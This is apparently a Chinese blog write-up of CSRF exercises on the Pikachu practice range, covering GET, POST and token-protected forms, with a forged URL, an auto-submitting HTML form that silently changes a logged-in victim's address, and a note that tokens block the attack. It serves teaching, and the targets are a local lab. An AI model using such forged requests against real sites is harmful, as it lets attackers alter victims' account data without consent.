Pikachu靶场:CSRF(GET)、CSRF(POST)以及CSRF(token)
实验环境以及工具
Firefox浏览器、Burp Suite、Pikachu靶场
实验原理
Cross-site request forgery 简称为“CSRF”,在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。所以CSRF攻击也成为"one click"攻击。
CSRF的主要问题是敏感操作的链接容易被伪造,那么如何让这个链接不容易被伪造?
每次请求,都增加一个随机码(需要够随机,不容易伪造),后台每次对这个随机码进行验证!
具体实施
CSRF(GET)
1.受害者登录
用户lucy登录
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-caIJ7QEN-1618736504967)(C:\Users\freedom\AppData\Roaming\Typora\typora-user-images\image-20210418154327648.png)]](https://i-blog.csdnimg.cn/blog_migrate/f90e842231285904d92cf7c81d0f1f32.png)
修改手机号为123456789住址usa为wuhan邮箱改为lucy@163.com
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CybcgrCq-1618736504969)(C:\Users\freedom\AppData\Roaming\Typora\typora-user-images\image-20210418155146838.png)]](https://i-blog.csdnimg.cn/blog_migrate/0fcd9a5f2e3a5dbb9fdbf31fe057e847.png)
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RGiSzbQg-1618736504971)(C:\Users\freedom\AppData\Roaming\Typora\typora-user-images\image-20210418155325034.png)]](https://i-blog.csdnimg.cn/blog_migrate/dc38872b8a4f7acf05f68ad72363c542.png)
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HxtKIUy1-1618736504974)(C:\Users\freedom\AppData\Roaming\Typora\typora-user-images\image-20210418155358964.png)]](https://i-blog.csdnimg.cn/blog_migrate/d8d2fbdc3c535290285945178c9e3ca8.png)
2.伪造链接
将GET请求复制下来
GET /Pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=123456789&add=wuhan&email=lucy%40163.com&submit=submit
修改部分内容,这里吧住址wuhan改为beijing并改成URL发送
http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=123456789&add=beijing&email=lucy%40163.com&submit=submit
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hlqlwUT1-1618736504975)(C:\Users\freedom\AppData\Roaming\Typora\typora-user-images\image-20210418160752506.png)]](https://i-blog.csdnimg.cn/blog_migrate/7c4efed364eca2bed7ee21e5e10429d7.png)
CSRF(POST)
1.受害者登录
受害者修改住址为wuhan
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zBp5B7M1-1618736504977)(C:\Users\freedom\AppData\Roaming\Typora\typora-user-images\image-20210418163207055.png)]](https://i-blog.csdnimg.cn/blog_migrate/55cce679ff77dc5f3b31038b45c9dee8.png)
这样就不能利用在URL修改信息来篡改受害者信息。
2.搭建恶意网站
搭建一个恶意网站将受害者信息进行修改,这里是将住址从wuhan改为hubei
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://127.0.0.1/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
<input id="sex" type="text" name="sex" value="girl" />
<input id="phonenum" type="text" name="phonenum" value="123456789" />
<input id="add" type="text" name="add" value="hubei" />
<input id="email" type="text" name="email" value="lucy@163.com" />
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
并将恶意网站URL发送给受害者
http://127.0.0.1/Pikachu/vul/csrf/csrfpost/post123.html
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QG51sTsZ-1618736504978)(C:\Users\freedom\AppData\Roaming\Typora\typora-user-images\image-20210418164416736.png)]](https://i-blog.csdnimg.cn/blog_migrate/630a555fa85d3fac000c34ec192e32b6.png)
成功修改了受害者的信息。
CSRF(token)
受害者登录并将住址修改为wuhan
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KCu5bz7f-1618736504979)(C:\Users\freedom\AppData\Roaming\Typora\typora-user-images\image-20210418164842346.png)]](https://i-blog.csdnimg.cn/blog_migrate/b12577214e66859bcc0b3dec0e0d23a6.png)
GET /pikachu/vul/csrf/csrftoken/token_get_edit.php?
sex=lucy
&phonenum=123456789
&add=wuhan
&email=lucy%40163.com
&token=15902607bf21f29fd3019665073
&submit=submit HTTP/1.1
其中token的值每次请求都会发生变化,所以攻击者不能用自己的token对受害者进行攻击。
总结
CSRF是借用受害者的权力进行攻击,与xss和其他越权漏洞不同,它没有实质性的拥有受害者的权力。CSRF的攻击条件非常苛刻,需要目标网站有CSRF漏洞,要受害者进行登录,受害者点击恶意链接。token能够很好的防御CSRF攻击。
本文通过Pikachu靶场详细介绍了CSRF攻击原理及三种实施方式:GET请求、POST请求和带token的请求。展示了如何利用伪造链接及恶意网站进行攻击,并探讨了使用token作为防御手段的有效性。
2226

被折叠的 条评论
为什么被折叠?



